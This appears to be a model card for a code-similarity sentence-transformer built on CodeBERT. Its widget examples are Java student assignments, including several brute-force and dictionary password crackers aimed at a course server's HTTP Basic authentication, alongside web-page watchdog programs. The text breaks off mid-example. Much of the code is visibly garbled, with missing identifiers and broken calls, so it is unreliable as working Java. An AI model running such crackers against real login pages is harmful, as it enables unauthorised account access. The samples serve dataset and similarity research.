--- tags: - sentence-transformers - sentence-similarity - feature-extraction - generated_from_trainer - dataset_size:33411 - loss:BatchAllTripletLoss base_model: microsoft/codebert-base widget: - source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport\ \ java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\ \npublic class Dictionary \n{\n String uname = \"\";\n String pword = \"null\"\ ;\n Vector v = new Vector();\n int runTime;\n public void doConnect(String\ \ connect, int num)\n {\n String = connect;\n \n try\n {\n \ \ URL secureSite = new URL();\n URLConnection connection = secureSite.openConnection();\n\ \ if (uname != null || pword != null)\n\t {\n\t \n\t for(int i=num;\ \ i> 18;\n out [\ \ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ \ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \ \ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n\ \ out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\ \ \n if ( octetString.length - i == 2 )\n {\n \ \ \n bits24 = ( octetString [ i ] & 0xFF ) <<\ \ 16;\n bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n \ \ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >>\ \ 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \ \ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\ \ ] = '=';\n }\n else if ( octetString.length - i ==\ \ 1 )\n {\n \n bits24 = ( octetString\ \ [ i ] & 0xFF ) << 16;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n\ \ out [ outIndex++ ] = alphabet [ bits6 ];\n \ \ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\ \ ] = '=';\n out [ outIndex++ ] = '=';\n }\n \n\ \ return new String ( out );\n }\n }\n \n \n" sentences: - "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\ \npublic class WatchDog\n{\n\n static Process p = null;\n static Process qproc\ \ = null;\n\n static BufferedReader bf = null;\n static StringTokenizer tok\ \ = null;\n\n static String Path = null;\n static String str = null;\n static\ \ String urlStr=null;\n static boolean changed = false;\n\n static File indexfile\ \ = new File(\"index.html\");\n static File tmpfile = new File(\"tmpindex.html\"\ );\n static File mdfile = new File(\"md5file.txt\");\n static File tmpmdfile\ \ = new File(\"tmpmd5file.txt\");\n static PrintWriter mailwriter = null;\n\n\ \n public static void main (String[] args) \n {\n\n urlStr = \"http://www.cs.rmit.edu./\"\ ;\n\n try\n {\n \n mailwriter = new PrintWriter(new\ \ BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n getLatest(urlStr);\n\ \ parseFile(); \n\n mailwriter.read();\n\n if(changed)\n\ \ {\n System.out.println(\"Sending Mail\");\n p\ \ = Runtime.getRuntime().exec(\"./mailscript\");\n p.waitFor();\n\n\ \ }\n else\n System.out.println(\" mail sent\");\n\n\ \ } catch (IOException ioe)\n {\n System.out.println(\"\ IOException\");\n ioe.printStackTrace();\n }\n catch\ \ (InterruptedException intex)\n {\n System.out.println(\"\ Interrupted Exception\");\n intex.printStackTrace();\n }\n\n\ \n }\n\n\n static void getLatest(String urlStr)\n { \n \n URL\ \ url = null;\n \n try\n {\n url = new URL(urlStr);\n\n\ \ } catch (MalformedURLException mfurl)\n {\n System.out.println(\"\ Malformed URL\");\n mfurl.printStackTrace();\n }\n\n try\n\ \ {\n mailwriter.println();\n\n p = Runtime.getRuntime().exec(\"\ /usr//pwd\"); \n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ \ p.getInputStream()));\n\n Path=bf.readLine();\n\ \n if (indexfile.exists())\n {\n mailwriter.println(\"\ File with name 'index.html' found in directory.\");\n mailwriter.println(\"\ Renaming existing 'index.html' 'tmpindex.html...\");\n p = Runtime.getRuntime().exec(\"\ /usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n p.waitFor();\n\ \ p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"\ /\"+tmpmdfile);\n mailwriter.println();\n mailwriter.println(\"\ File with name 'md5file.txt' found in directory.\");\n mailwriter.print(\"\ Renaming existing 'md5file.txt' 'tmpmd5file.txt...\");\n\n mailwriter.println(\"\ .\");\n\n mailwriter.println();\n }\n\n mailwriter.println(\"\ Downloading current version of site - \" + urlStr);\n p = Runtime.getRuntime().exec(\"\ /usr/local//wget \"+url);\n p.waitFor();\n if (!tmpfile.exists())\n\ \ {\n mailwriter.println(\"File - \" + urlStr + \"index.html\ \ saved disk for the first time.\");\n }\n\n\n } catch (IOException\ \ ioe)\n {\n System.out.println(\"IOException\");\n \ \ ioe.printStackTrace();\n }\n catch (IndexOutOfBoundsException\ \ iobe)\n {\n System.out.println(\"Index Out Of Bounds Exception\"\ );\n iobe.printStackTrace();\n }\n catch (Exception e)\n\ \ {\n System.out.println(\"Exception\");\n e.printStackTrace();\n\ \ }\n }\n\n static void parseFile()\n {\n\n Vector imgVect =\ \ new Vector();\n\n try\n {\n p = Runtime.getRuntime().exec(\"\ /usr//grep img \" + Path + \"/\"+ indexfile);\n p.waitFor();\n \ \ bf = new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\ \n while((str=bf.readLine())!=null)\n {\n bf = new\ \ StringTokenizer(str, \"\\\"\", false);\n \n while(bf.hasMoreTokens())\n\ \ {\n str=bf.nextToken();\n if ((str.indexOf(\"\ gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n imgVect.addElement(str);\n\ \ }\n \n }\n\n }catch (IOException ioe)\n \ \ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\ \ }\n catch (Exception e)\n {\n System.out.println(\"\ Exception\");\n e.printStackTrace();\n }\n\n mailwriter.println(\"\ Creating file with md5sums of the webpage and images...\");\n md5Create(imgVect);\n\ \n }\n\n static void md5Create(Vector imgVect)\n {\n String tmpString\ \ = null;\n Vector imgNames = new Vector();\n\n try\n {\n \ \ PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile,\ \ false)));\n \n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n\ \ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ \ p.getInputStream()));\n pr.println(bf.readLine());\n\ \ \n for(int i=0; i 0) || (str.indexOf(\"jpg\") > 0))\n \ \ prsName=str;\n }\n return (Object)prsName;\n }\n}\n" - "import java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\ \npublic class WatchDog\n{\n private String address;\n private UnixMailing\ \ email;\n\n private int step = 0;\n private String buffer = \"\";\n\n public\ \ static void main(String [] args)\n {\n if (args.length < 2)\n {\n\ \ System.err.println(\"Invalid usage!\");\n System.err.println(\"\ Usage: java WatchDog \");\n System.exit(1);\n }\n\n\ \ String address = args[0];\n String email = args[1];\n WatchDog\ \ theProg = new WatchDog(address, email);\n\n try\n {\n File\ \ currDir = new File(\".\");\n File [] list = currDir.listFiles();\n \ \ for (int i = 0; i < list.length; i++)\n {\n if (list[i].getName().trim().startsWith(\"\ _buffer\"))\n list[i].delete();\n }\n }\n catch(Exception\ \ e) {}\n\n while (true)\n {\n theProg.checkPage();\n \ \ try\n {\n Thread.sleep();\n }\n catch(InterruptedException\ \ e ) {}\n }\n\n }\n\n public WatchDog(String address, String email)\n\ \ {\n this.address = address;\n this.email = new UnixMailing(email);\n\ \ }\n\n public void checkPage()\n {\n try\n {\n File buffFp\ \ = new File(\"_bufferFile.html\");\n Vector imgs = new Vector();\n\n\ \ boolean getAgain = false;\n if (buffFp.exists())\n {\n\ \ URLConnection conn = (new URL(address)).openConnection();\n \ \ conn.setDoInput(true);\n conn.connect();\n DataInputStream\ \ inNet = new DataInputStream(conn.getInputStream());\n\n System.out.println(\"\ Checking file \"+address);\n char i = '\\0';\n char f =\ \ '\\0';\n DataInputStream inFile = new DataInputStream(\n \ \ new FileInputStream(buffFp));\n \ \ try\n {\n int step = 0;\n while(true)\n\ \ {\n i = (char)inNet.readByte();\n \ \ f = (char)inFile.readByte();\n\n if (i != f)\n \ \ {\n email.println(\" changes in the content\ \ of the web: \"+address);\n System.out.println(\" changes\ \ in the content of the web: \"+address);\n getAgain = true;\n\ \ break;\n }\n tokenImages(i,\ \ imgs);\n }\n }\n catch(EOFException eofe)\ \ {}\n\n if (!getAgain)\n {\n try\n \ \ {\n i = (char)inNet.readByte();\n \ \ email.println(\" changes in the content of the web: \"+address);\n \ \ System.out.println(\" changes in the content of the web: \"+address);\n\ \ getAgain = true;\n }\n catch(EOFException\ \ eofe) {}\n try\n {\n f = (char)inFile.readByte();\n\ \ email.println(\" changes in the content of the web: \"+address);\n\ \ System.out.println(\" changes in the content of the web: \"\ +address);\n getAgain = true;\n }\n \ \ catch(EOFException eofe) {}\n }\n\n inFile.print();\n\ \ inNet.print();\n }\n else\n getAgain =\ \ true;\n\n\n if (getAgain)\n {\n getAgain = false;\n\ \ URLConnection conn = (new URL(address)).openConnection();\n \ \ conn.setDoInput(true);\n conn.connect();\n DataInputStream\ \ inNet = new DataInputStream(conn.getInputStream());\n\n System.out.println(\"\ Storing file \"+address);\n DataOutputStream outFile = new DataOutputStream(\n\ \ new FileOutputStream(buffFp));\n\ \ byte i = 0;\n try\n {\n while(true)\n\ \ {\n i = inNet.readByte();\n \ \ outFile.writeByte(i);\n tokenImages((char)i, imgs);\n \ \ }\n }\n catch(EOFException eofe) {}\n\n \ \ outFile.print();\n inNet.print();\n }\n for(int\ \ index = 0; index < imgs.size(); index++)\n checkImage(address, (String)imgs.get(index));\n\ \ email.sent();\n }\n catch(Exception e)\n {\n \ \ e.printStackTrace();\n }\n }\n\n\n public void tokenImages(char i,\ \ Vector imgs)\n {\n if (step == 1) \n {\n if (i == 'i' &&\ \ buffer.length() <= 0 ||\n i == 'm' && buffer.equals(\"i\") ||\n\ \ i == 'g' && buffer.equals(\"im\"))\n {\n buffer\ \ += i;\n buffer = buffer.toLowerCase();\n }\n else\n\ \ {\n if (Character.isWhitespace(i) && buffer.equals(\"img\"\ ))\n step = 2;\n else if (!Character.isWhitespace(i)\ \ || buffer.length() > 0)\n step = 0;\n buffer = \"\"\ ;\n }\n }\n else if (step == 2) \n {\n if (i ==\ \ 's' && buffer.length() <= 0 ||\n i == 'r' && buffer.equals(\"s\"\ ) ||\n i == 'c' && buffer.equals(\"sr\"))\n {\n \ \ buffer += i;\n buffer = buffer.toLowerCase();\n }\n \ \ else\n {\n if (Character.isWhitespace(i) && buffer.equals(\"\ src\"))\n step = 3;\n else if (i == '=' && buffer.equals(\"\ src\"))\n step = 4;\n else if (i == '>')\n \ \ step = 0;\n buffer = \"\";\n }\n }\n else if\ \ (step == 3) \n {\n if (i == '=')\n {\n step\ \ = 4;\n }\n else if (!Character.isWhitespace(i))\n {\n\ \ if(i == '>')\n step = 0;\n else\n \ \ step = 2;\n buffer = \"\";\n }\n }\n else\ \ if (step == 4) \n {\n if (i == '\\\"')\n {\n \ \ step = 5;\n buffer = \"\";\n }\n else if (!Character.isWhitespace(i))\n\ \ {\n if(i == '>')\n {\n buffer =\ \ \"\";\n step = 0;\n }\n else\n \ \ {\n buffer = \"\"+i;\n step = 6;\n \ \ }\n\n }\n\n }\n else if (step == 5) \n {\n if\ \ (i == '\\\"')\n {\n if (buffer.trim().length() > 0)\n \ \ imgs.add(buffer);\n buffer = \"\";\n step =\ \ 0;\n }\n else\n buffer += i;\n }\n else\ \ if (step == 6) \n {\n if (Character.isWhitespace(i) || i == '>')\n\ \ {\n if (buffer.trim().length() > 0)\n imgs.add(buffer);\n\ \ buffer = \"\";\n step = 0;\n }\n else\n\ \ buffer += i;\n }\n else if(i == '<')\n {\n \ \ step = 1;\n buffer = \"\";\n }\n }\n\n public void checkImage(String\ \ hostUrl, String imageUrl)\n {\n try\n {\n String fullURL\ \ = \"\";\n if (imageUrl.startsWith(\"http\"))\n {\n \ \ fullURL = imageUrl;\n }\n else if (imageUrl.startsWith(\"\ /\"))\n {\n fullURL = \"http://\"+(new URL(hostUrl)).getHost()+imageUrl;\n\ \ }\n else\n {\n String path = (new URL(hostUrl)).getPath();\n\ \ if (!path.endsWith(\"/\"))\n path = path.substring(0,\ \ path.lastIndexOf('/')+1);\n\n fullURL = \"http://\"+(new URL(hostUrl)).getHost()+path+imageUrl;\n\ \ }\n\n File buffFp = new File(\"_buffer\"+\n \ \ (new URL(fullURL)).getPath().replaceAll(\"/\", \"_\"));\n Vector\ \ imgs = new Vector();\n\n boolean getAgain = false;\n if (buffFp.exists())\n\ \ {\n URLConnection conn = (new URL(fullURL)).openConnection();\n\ \ conn.setDoInput(true);\n conn.connect();\n \ \ DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\n \ \ System.out.println(\"Checking image: \"+fullURL);\n byte i\ \ = 0;\n byte f = 0;\n DataInputStream inFile = new DataInputStream(\n\ \ new FileInputStream(buffFp));\n\ \ try\n {\n int step = 0;\n \ \ while(true)\n {\n i = inNet.readByte();\n \ \ f = inFile.readByte();\n\n if (i != f)\n \ \ {\n email.println(\"Image \"+fullURL+\" has\ \ been change!\");\n System.out.println(\"Image \"+fullURL+\"\ \ has been change!\");\n getAgain = true;\n \ \ break;\n }\n }\n }\n \ \ catch(EOFException eofe) {}\n\n if (!getAgain)\n {\n\ \ try\n {\n i = inNet.readByte();\n\ \ email.println(\"Image \"+fullURL+\" has been change!\");\n\ \ System.out.println(\"Image \"+fullURL+\" has been change!\"\ );\n getAgain = true;\n }\n catch(EOFException\ \ eofe) {}\n try\n {\n f = inFile.readByte();\n\ \ email.println(\"Image \"+fullURL+\" has been change!\");\n\ \ System.out.println(\"Image \"+fullURL+\" has been change!\"\ );\n getAgain = true;\n }\n catch(EOFException\ \ eofe) {}\n }\n\n inFile.print();\n inNet.print();\n\ \ }\n else\n getAgain = true;\n\n if (getAgain)\n\ \ {\n getAgain = false;\n URLConnection conn = (new\ \ URL(fullURL)).openConnection();\n conn.setDoInput(true);\n \ \ conn.connect();\n DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\ \n System.out.println(\"Storing the image: \"+fullURL);\n \ \ DataOutputStream outFile = new DataOutputStream(\n \ \ new FileOutputStream(buffFp));\n byte i = 0;\n\ \ try\n {\n while(true)\n {\n\ \ i = inNet.readByte();\n outFile.writeByte(i);\n\ \ }\n }\n catch(EOFException eofe) {}\n\n\ \ outFile.print();\n inNet.print();\n }\n }\n\ \ catch(Exception e)\n {\n e.printStackTrace();\n }\n \ \ }\n}\n\n" - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\ \ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\ \ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\ \ boolean auth = false;\n Date = new Date();\n boolean morePasswords\ \ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\ \ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \ \ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ ;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\ \ URL url = new URL(resource);\n HttpURLConnection conn\ \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\ HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\ \ {\n System.out.println(\"cracked with \" + new String(password));\n\ \ auth = true;\n }\n } catch (Exception e) {\n\ \ System.out.println(\" was exception: \" + e.getMessage());\n \ \ }\n int count = passPtr;\n while (true) {\n \ \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \ \ password[count] = validChars.charAt(0);\n count--;\n\ \ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\ \ + 1);\n break;\n }\n if (count < 0) {\n\ \ \n if (passPtr < MAX_LENGTH - 1) {\n \ \ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\ \ } else {\n morePasswords = false;\n \ \ }\n break;\n }\n }\n \n }\ \ \n if (!auth) {\n System.out.println(\"Unable determine password\"\ );\n } else {\n time = (new Date()).getTime() - start.getTime();\n\ \ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\ \ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\ \ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\ \ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\ \ {\n String user = \"\";\n return new PasswordAuthentication(user,\ \ password);\n }\n}\n" - source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\ public class Dictionary\n{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ;\n private static String password;\n private static int length; \ \ \n private static int t_counter; \n private static int f_counter;\ \ \n \n private static int respCode;\ \ \n private static BufferedReader buf; \n\n public Dictionary()\n\ \ {\n FileReader fRead;\n Authenticator.setDefault(new DictionaryAuthenticator());\n\ \ t_counter = 0;\n f_counter = 0;\n length = 0;\n\n try\n\ \ {\n fRead = new FileReader(\"/usr/share/lib/dict/words\");\n \ \ buf = new BufferedReader(fRead);\n }\n catch (FileNotFoundException\ \ e)\n {\n System.out.println(\"File not found\");\n }\n }\n\ \n public static void main(String[] args)\n {\n Dictionary dict = new\ \ Dictionary();\n String file = \" \";\n while(respCode != 200 )\n \ \ {\n file = dict.fetchURL();\n }\n System.out.println(\"\ Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\ \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\ \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\ \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\ \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \ \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\ \ BufferedReader in = \n new BufferedReader (new InputStreamReader\ \ (content));\n String line;\n while ((line = in.readLine()) !=\ \ null) \n {\n pw.println(line);\n }\n } catch\ \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\ \ sw.toString();\n }\n \n class DictionaryAuthenticator extends\ \ Authenticator \n {\n private String username = \"\";\n\n protected\ \ PasswordAuthentication getPasswordAuthentication()\n {\n return\ \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\ \ char[] generatePassword()\n {\n String word = null;\n int\ \ chars;\n char c[] = null;\n \n chars = 0;\n \n \ \ if(f_counter == 0) \n \n \n { \n try\n \ \ {\n \n {\n word = buf.readLine();\n\ \ if(word != null)\n {\n \ \ length = word.length();\n chars = 0;\n \ \ for(int i=0; i 3 || chars != length));\n\n }\n catch (IOException\ \ ioe)\n {\n System.out.println(\"IO Error: \" + ioe);\n\ \ }\n\n if(word != null)\n {\n \ \ c = word.toCharArray(); \n password = new String(c);\n \ \ } \n else\n {\n System.out.println(\"\ \ more words in dictionary\");\n System.exit(0);\n }\n\ \n f_counter++;\n } \n else\n \n {\n\ \ c = password.toCharArray(); \n for(int i=0; i< length;\ \ i++)\n {\n if(Character.isLowerCase(c[i]))\n \ \ {\n c[i] = Character.toUpperCase(c[i]);\n \ \ }\n else\n {\n c[i] = Character.toLowerCase(c[i]);\n\ \ }\n }\n password = new String(c);\n \ \ f_counter = 0;\n }\n\n t_counter++;\n\n return\ \ c;\n }\n }\n}\n" sentences: - "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport\ \ javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\ import javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\ \tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper()\ \ {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\ \t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\ Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\ \treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\ \ throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\ \n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"\ /dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n" - "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\ \npublic class BruteForce extends Thread\n{\n private static final String USERNAME\ \ = \"\";\n private static final char [] POSSIBLE_CHAR =\n {'a', 'b',\ \ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n 'n', 'o', 'p',\ \ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n 'A', 'B', 'C', 'D',\ \ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R',\ \ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n private static int NUMBER_OF_THREAD\ \ = 500;\n\n private static Date startDate = null;\n private static Date endDate\ \ = null;\n\n private String address;\n private String password;\n\n public\ \ BruteForce(String address, String password)\n {\n this.address = address;\n\ \ this.password = password;\n }\n\n public static void main(String[]\ \ args) throws IOException\n {\n if (args.length < 1)\n {\n \ \ System.err.println(\"Invalid usage!\");\n System.err.println(\"Usage:\ \ java BruteForce \");\n System.exit(1);\n }\n\n try\n\ \ {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n\ \ {\n e.printStackTrace();\n System.exit(1);\n }\n \ \ }\n\n public static void brute(String address, String user)\n {\n \ \ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index =\ \ 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length;\ \ i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n \ \ {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n \ \ {\n String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\ \ POSSIBLE_CHAR[k];\n\n if (threads[index]\ \ != null && threads[index].isAlive())\n {\n try\n\ \ {\n threads[index].join();\n \ \ }\n catch(InterruptedException e ) {}\n \ \ }\n threads[index] = new BruteForce(address, password);\n \ \ threads[index].get();\n\n index = (index++) % threads.length;\n\ \ }\n }\n }\n }\n\n public void run()\n {\n \ \ if (endDate != null)\n return;\n\n try\n {\n\n URLConnection\ \ conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\ \n if (login(conn, USERNAME, password))\n {\n endDate\ \ = new Date();\n System.out.println(\"Found the password: \\\"\"+password+\"\ \\\"!\");\n SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\ \ HH:mm:\");\n System.out.println(\"Process started at: \"+format.format(startDate));\n\ \ System.out.println(\"Process started at: \"+format.format(endDate));\n\ \ double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\ \ System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n \ \ System.exit(0);\n }\n else\n {\n \ \ System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n \ \ return;\n }\n }\n catch(Exception e)\n {\n \ \ e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection\ \ conn, String user, String pass)\n {\n try\n {\n String encodeAuth\ \ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n conn.setRequestProperty\ \ (\"Authorization\", encodeAuth);\n conn.connect();\n conn.getInputStream();\n\ \ }\n catch(Exception e)\n {\n return false;\n }\n\ \ return true;\n }\n}\n\n\n" - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n\ {\n private PrintWriter outputStream= null;\n private String filename;\n \ \ private FileWriter fw;\n\n public storeNewFile(String fname)\n {\n \ \ try\n {\n filename = fname;\n outputStream=new PrintWriter(new\ \ FileOutputStream(filename));\n }\n catch(FileNotFoundException e)\n\ \ {\n\t System.err.println(\"File \"+filename+\" was not found\");\n \ \ }\n catch(IOException e)\n {\n System.err.println(\"Error\ \ \");\n }\n }\n public void getStringW(StringWriter sw)\n {\n \ \ outputStream.print(sw.toString());\n }\n\n public void closeStream()\n \ \ {\n outputStream.write();\n }\n\n public void translogFile(String\ \ result)\n {\n String fileName = \"TransactionLog.txt\";\n \t try{\n\t\ \ fw=new FileWriter(fileName,true);\n\t fw.write(result);\n\t fw.write('\\\ n');\n\t fw.print();\n \t System.out.println(\"Saved sucessfully\");\n\ \ }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\"\ );\n }\n }\n}" - source_sentence: "import java.net.*; \nimport java.io.*; \nimport java.util.Vector;\n\ import java.util.Date;\nimport java.security.*;\n\n\n\n\n\n\n\n\n\n\n\n \npublic\ \ class Dictionary { \n public static BufferedReader in;\n \n \n public static\ \ void main(String[] args) throws Exception { \n String baseURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ; \n int count=0;\n Date date = new Date();\n startTime=date.getTime();\n\ \ int LIMITINMINUTES=45;\n int TIMELIMIT=LIMITINMINUTES*1000*60;\n boolean\ \ timedOut=false;\n boolean found=false;\n \n \n Vector dictionary=new\ \ Vector(readWords());\n System.out.println(\"Words in dictionary: \"+dictionary.size());\n\ \ \n \n \n \n \n \n \n while (found==false && timedOut==false\ \ && dictionary.elementAt(count)!=null) {\n \n Date endDate = new Date();\n\ \ endTime=endDate.getTime(); \n if (endTime>(TIMELIMIT+startTime)){\n\ \ System.out.println(\"Timed out\");\n timedOut=true;\n }\n\ \ \n String password = \"\";\n\n \n URL url = new URL(baseURL);\ \ \n String username=\"\";\n password = dictionary.elementAt(count).toString();\ \ \n\n \n String authString = username+\":\"+password;\n String\ \ encoding = new misc.BASE64Encoder().encode(authString.getBytes()); \n System.out.print(\"\ authString is: \"+authString); \n \n URLConnection urlConnect=url.openConnection();\n\ \n \n urlConnect.setRequestProperty(\"Authorization\",\" \"+encoding);\n\ \n String responseCode = urlConnect.getHeaderField(0);\n System.out.print(\"\ \ Response is: \");\n System.out.println(responseCode);\n\n if (!responseCode.equals(\"\ HTTP/1.1 401 Authorization Required\")) {\n found=true;\n } \ \ \n if (found){ \n \n System.out.println(\"Password is: \"\ +password);\n\n }\n\n Date foundDate = new Date();\n foundTime=foundDate.getTime();\ \ \n foundTime=(foundTime-startTime);\n System.out.println(\"Time taken\ \ was : \"+foundTime+\" milliseconds\"); \n count=count+1;\n }\n } \n\ \ \n \n \n \n \n public static Vector readWords() { \n String nextWord;\n\ \ String lastWord=\"\";\n Vector dict=new Vector();\n try {\n BufferedReader\ \ in = new BufferedReader(new FileReader(\"words.txt\"));\n while ((nextWord\ \ = in.readLine())!=null) {\n\t\n if (nextWord.length()>3) {\n \ \ nextWord=nextWord.substring(0,3);\n }\n\t\n\tif (!lastWord.equals(nextWord)\ \ && nextWord.length()>0){\n lastWord = nextWord;\n\t \n\t \n\t dict.addElement(nextWord);\n\ \n\t \n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t \n\t \n\t \n\t\ \ \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t \n\t \n\t \n\n\t \n\ \t \n\t \n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \ \ \n\n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t\ \ \n\t\n\t} \n } \n System.out.println(\"File successfully loaded\"\ );\t \n } \n catch (FileNotFoundException e1) {\n System.out.println(\"\ This program requires a dictionary of words called words.txt in the same directory\ \ as the program running, now exiting.\");\n System.exit(0);\n }\t\n \ \ catch (IOException e2) {\n System.out.println(\"IO Exception, exiting\"\ );\n System.exit(0);\n }\t \n finally {\n try {\n\tif (null!=in)\ \ {\n in.get();\n\t}\n }\n catch (IOException e3) {}\n }\n\ \ return dict;\n } \n} \n" sentences: - "package java.httputils;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\n\ import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\n\ import java.io.FileOutputStream;\nimport java.io.FileReader;\nimport java.io.IOException;\n\ import java.io.OutputStream;\n\n\npublic class WatchDog\n{\n protected final\ \ int MILLIS_IN_HOUR = (60 * 60 * 1000);\n protected int interval = 24;\n \ \ protected String URL = \"http://www.cs.rmit.edu./students/\";\n protected\ \ String fileName = \"WatchDogContent.html\";\n protected String command =\ \ \"./alert_mail.sh\";\n protected String savedContent;\n protected String\ \ retrievedContent;\n\n \n public WatchDog()\n {\n super();\n\ \ }\n\n \n public void run() throws Exception\n {\n HttpRequestClient\ \ client = null;\n \n \n System.out.println(getClass().getName()\ \ +\n \"Retrieving baseline copy of: \" + getURL());\n\ \ client = new HttpRequestClient(getURL());\n retrievedContent =\ \ client.getContent().toString();\n\n System.out.println(getClass().getName()\ \ +\n \"Writing baseline content : \" + getFileName());\n\ \ writeFile();\n\n while (true)\n {\n \n \ \ System.out.println(getClass().getName() +\n \ \ \" Sleeping for hours: \" + getInterval());\n Thread.currentThread().sleep(MILLIS_IN_HOUR\ \ * getInterval());\n\n \n System.out.println(getClass().getName()\ \ +\n \" Retrieving: \" + getURL());\n\n \ \ client = new HttpRequestClient(getURL());\n retrievedContent = 